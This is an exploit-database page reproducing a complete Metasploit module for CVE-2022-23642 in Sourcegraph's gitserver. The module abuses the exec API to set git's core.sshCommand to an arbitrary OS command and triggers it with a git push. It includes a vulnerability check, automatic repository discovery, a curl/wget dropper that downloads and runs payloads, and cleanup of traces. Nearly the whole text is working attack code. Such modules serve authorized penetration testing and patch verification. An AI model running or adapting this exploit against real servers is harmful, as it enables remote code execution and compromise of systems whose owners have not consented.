Sourcegraph gitserver sshCommand Remote Command Execution

2022.07.15
Risk: High
Local: No
Remote: Yes
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Sourcegraph gitserver sshCommand RCE', 'Description' => %q{ A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the commands that are able to be executed through the git exec REST API. }, 'Author' => [ 'Altelus1', # github PoC 'Spencer McIntyre' # metasploit module ], 'References' => [ ['CVE', '2022-23642'], ['URL', 'https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9'], ['URL', 'https://github.com/Altelus1/CVE-2022-23642'], ], 'DisclosureDate' => '2022-02-18', # Public disclosure 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory }, ], [ 'Linux Dropper', { 'Platform' => 'linux', # when the OS command is executed, it's executed twice which will cause some of the command stagers to # be corrupt, these two work even for larger payloads because they're downloaded in a single command 'CmdStagerFlavor' => %w[curl wget], 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper }, ] ], 'DefaultOptions' => { 'RPORT' => 3178 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('EXISTING_REPO', [false, 'An existing, cloned repository']) ]) end def check res = send_request_exec(Rex::Text.rand_text_alphanumeric(4..11), ['config', '--default', '', 'core.sshCommand']) return CheckCode::Unknown unless res if res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/ # this is the response if the target repo does exist, highly unlikely since it's randomized return CheckCode::Vulnerable('Successfully set core.sshCommand.') elsif res.code == 404 && res.body =~ /"cloneInProgress"/ # this is the response if the target repo does not exist return CheckCode::Vulnerable elsif res.code == 400 && res.body =~ /^invalid command/ # this is the response when the server is patched, regardless of if there are cloned repos return CheckCode::Safe end CheckCode::Unknown end def exploit if datastore['EXISTING_REPO'].blank? @git_repo = send_request_list.sample fail_with(Failure::NotFound, 'Did not identify any cloned repositories on the remote server.') unless @git_repo print_status("Using automatically identified repository: #{@git_repo}") else @git_repo = datastore['EXISTING_REPO'] end print_status("Executing #{target.name} target") @git_origin = Rex::Text.rand_text_alphanumeric(4..11) git_remote = "git@#{Rex::Text.rand_text_alphanumeric(4..11)}:#{Rex::Text.rand_text_alphanumeric(4..11)}.git" vprint_status("Using #{@git_origin} as a fake git origin") send_request_exec(@git_repo, ['remote', 'add', @git_origin, git_remote]) case target['Type'] when :unix_memory execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end def cleanup return unless @git_repo && @git_origin vprint_status('Cleaning up the git changes...') # delete the remote that was created send_request_exec(@git_repo, ['remote', 'remove', @git_origin]) # unset the core.sshCommand value send_request_exec(@git_repo, ['config', '--unset', 'core.sshCommand']) ensure super end def send_request_exec(repo, args, timeout = 20) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'exec'), 'method' => 'POST', 'data' => { 'Repo' => repo, 'Args' => args }.to_json }, timeout) end def send_request_list res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'list'), 'method' => 'GET', 'vars_get' => { 'cloned' => 'true' } }) fail_with(Failure::Unreachable, 'No server response.') unless res fail_with(Failure::UnexpectedReply, 'The gitserver list API call failed.') unless res.code == 200 && res.get_json_document.is_a?(Array) res.get_json_document end def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") res = send_request_exec(@git_repo, ['config', 'core.sshCommand', cmd]) fail_with(Failure::Unreachable, 'No server response.') unless res unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/ if res.code == 404 && res.get_json_document.is_a?(Hash) && res.get_json_document['cloneInProgress'] == false fail_with(Failure::BadConfig, 'The specified repository has not been cloned.') end fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.') end send_request_exec(@git_repo, ['push', @git_origin, 'master'], 5) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top